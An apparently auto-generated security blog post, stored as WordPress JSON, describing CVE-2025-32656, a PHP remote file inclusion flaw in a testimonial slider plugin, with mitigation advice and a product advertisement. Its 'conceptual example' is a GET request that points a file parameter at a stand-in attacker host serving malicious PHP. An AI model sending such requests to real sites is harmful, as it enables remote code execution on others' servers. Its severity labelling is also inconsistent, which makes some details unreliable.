{"id":29172,"date":"2025-04-22T15:44:20","date_gmt":"2025-04-22T15:44:20","guid":{"rendered":""},"modified":"2025-04-25T18:01:04","modified_gmt":"2025-04-25T18:01:04","slug":"cve-2025-32656-critical-php-remote-file-inclusion-vulnerability-in-notfound-testimonial-slider-and-showcase-pro","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-32656-critical-php-remote-file-inclusion-vulnerability-in-notfound-testimonial-slider-and-showcase-pro\/","title":{"rendered":"<strong>CVE-2025-32656: Critical PHP Remote File Inclusion Vulnerability in NotFound Testimonial Slider And Showcase Pro<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is continually evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-32656, has been found in the NotFound Testimonial Slider And Showcase Pro. This vulnerability is a potent threat due to its <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50350-broken-cryptographic-algorithm-leads-to-potential-data-leakage-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33678\">potential for system compromise or data leakage<\/a>, which could lead to significant damage for affected organizations. Particularly targeting PHP-based applications, it is essential to understand the nature of this vulnerability, who it affects, and possible mitigation <a href=\"https:\/\/www.ameeba.com\/blog\/six-proactive-strategies-to-preempt-tomorrow-s-cyber-threats-today\/\"  data-wpil-monitor-id=\"33614\">strategies to prevent potential cyber threats<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-32656<br \/>\nSeverity: Critical, CVSS score of 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: Leakage of sensitive data, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-52304-stack-overflow-vulnerability-in-paddlepaddle-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"34038\">potential system<\/a> compromise<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-708609231\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>NotFound Testimonial Slider And Showcase Pro | Up to 2.3.15<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability, CVE-2025-32656, is a PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34107\">Remote File<\/a> Inclusion flaw. This flaw occurs due to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23389-improper-access-control-vulnerability-in-suse-rancher\/\"  data-wpil-monitor-id=\"33359\">improper control<\/a> of filename for Include\/Require statement in the PHP program of the NotFound Testimonial Slider And Showcase Pro. An attacker can exploit this flaw by crafting a URL that includes a reference to a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32668-critical-php-remote-file-inclusion-vulnerability-in-rameez-iqbal-real-estate-manager\/\"  data-wpil-monitor-id=\"34967\">remote file<\/a>. When the application executes the URL, the remote file is included and executed in the context of the application, allowing the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33851\">execute arbitrary code<\/a> or cause a denial of service.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-727094868\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-50123-exploitable-vulnerability-in-hozard-alarm-system-sms-authentication\/\"  data-wpil-monitor-id=\"34956\">vulnerability might be exploited<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In this example, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-27289-replay-attack-vulnerability-uncovered-in-zigbee-smart-home-kit\/\"  data-wpil-monitor-id=\"35533\">attacker sends a GET request to the vulnerable<\/a> application, specifying a malicious PHP script hosted on their server (`attacker.com`). The application includes and executes the malicious script, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-37297-vulnerability-in-ami-s-spx-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"33403\">leading to potential system<\/a> compromise.<\/p>\n<p><strong>Recommendation<\/strong><\/p>\n<p>To mitigate this vulnerability, users are recommended to apply the vendor patch as soon as it is available. In the meantime, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Regularly updating and patching software, as well as monitoring system logs for any unusual activity, can go a long way in protecting your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0213-buffer-overflow-vulnerability-in-ta-for-linux-and-macos-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33895\">systems from such vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is continually evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-32656, has been found in the NotFound Testimonial Slider And Showcase Pro. This vulnerability is a potent threat due to its potential for system compromise or data leakage, which could lead to significant damage for affected organizations. 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